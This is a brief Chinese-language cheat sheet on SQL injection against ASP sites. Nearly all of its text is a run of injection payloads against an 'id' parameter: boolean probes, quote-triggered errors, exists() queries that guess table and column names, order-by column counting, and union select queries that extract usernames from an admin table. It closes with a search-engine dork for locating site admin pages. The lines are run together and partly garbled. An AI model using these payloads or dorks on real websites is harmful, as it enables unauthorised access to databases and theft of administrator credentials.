sql注入探索

xxx.xx.xx/xx.asp?id=1 and 1=1xxx.xx.xx/xx.asp?id=1’； //error is access ,else sqlaccess ZR:xxx.xx.xx/xx.asp?id=1 and 1=1xxx.xx.xx/xx.asp?id=1 and 1=2xxx.xx.xx/xx.asp?id=1 and exists (select * from 你要猜得表名)and exists (select 你要猜的字段名 from 你已经才出来的表名)xxx.xx.xx/xx.asp?id=1 order by Nxxx.xx.xx/xx.asp?id=1 union select 1,2,3 from adminxxx.xx.xx/xx.asp?id=1 union select 1,username,3 from admin利用搜索引擎寻找网站后台搜索引擎输入 ——inurl:(admin=asp?)